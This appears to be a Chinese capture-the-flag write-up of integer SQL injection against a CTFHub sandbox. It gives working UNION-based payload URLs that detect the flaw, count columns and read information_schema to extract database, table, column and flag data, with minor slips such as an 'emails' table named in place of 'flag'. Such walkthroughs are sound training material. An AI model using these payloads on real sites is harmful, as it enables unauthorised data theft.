1、整數型SQL注入
步驟
1)判斷是否存在注入
2)查詢字段數量
3)查詢SQL語句插入位置
4)獲取數據庫庫名
5)獲取數據庫表名
6)獲取字段名
7)獲取數據
(1)判斷是否存在注入
1)加單引號
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1’
對應的sql:select * from table where id=3’ 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常;
2)加and 1=1
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=1
對應的sql:select * from table where id=3’ and 1=1 語句執行正常,與原始頁面如任何差異;
3)加and 1=2
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 and 1=2
對應的sql:select * from table where id=3 and 1=2 語句可以正常執行,但是無法查詢出結果,所以返回數據與原始網頁存在差異
如果滿足以上三點,則可以判斷該URL存在數字型注入。
(2)查詢字段數量
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=1 order by 2
當id=1 order by 2時,頁面返回與id=1相同的結果;而id=1 order by 3時不一樣,故字段數量是2。
(3)查詢SQL語句插入位置
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,2
此時要先保證之前的數據查不出來,之后再union。id=-1數據不存在數據庫中。可以看到位置2可以插入SQL語句。
(4)獲取數據庫庫名
1)獲取當前數據庫庫名
2位置修改為:database(),version()
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,database()
得到數據庫名稱為:sqli,由數據庫版本可知他是MySQL的一個分支
2)獲取所有數據庫庫名
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1
union select 1,group_concat(schema_name)from information_schema.schemata
3)逐條獲取數據庫庫名
語句:select schema_name from information_schema.schemata limit 0,1;
修改limit中第一個數字獲取其他的數據庫名,如獲取第二個庫名:limit 1,1。
(5)獲取數據庫表名
1)方法一:一次獲取一個表名
2位置修改:select table_name from information_schema.tables where table_schema='sqli' limit 0,1;
得到數據庫表名:news。修改limit中第一個數字,如獲取第二個表名:limit 1,1,這樣就可以獲取所有的表名。
2)方法二:一次性獲取當前數據庫所有表名:
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1
union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
得到數據庫sqli中的表名為news和flag
(6)獲取字段名
1)方法一:
以flag表為例,2位置修改為:
select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1;
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1
union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)
看到flag表中第一個字段是flag, 修改limit中第一個數字,如獲取第二個字段名:limit 1,1,依次類推,發現flag表中的字段名稱只有一個flag。
2)方法二:
以flag表為例,一次性獲取所有字段名:
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1
union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
(7)獲取數據
1)方法一:
以emails表為例,2位置修改為:
(select flag from sqli.flag limit 0,1)
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,(select flag from sqli.flag limit 0,1)
可以得到flag表中的第一條數據,修改limit中第一個數字,如獲取第二個字段值
2)方法二:
以flag表為例,一次性獲取所有數據:
URL:http://challenge-4334fe95b292f4f7.sandbox.ctfhub.com:10080/?id=-1 union select 1,group_concat(flag) from sqli.flag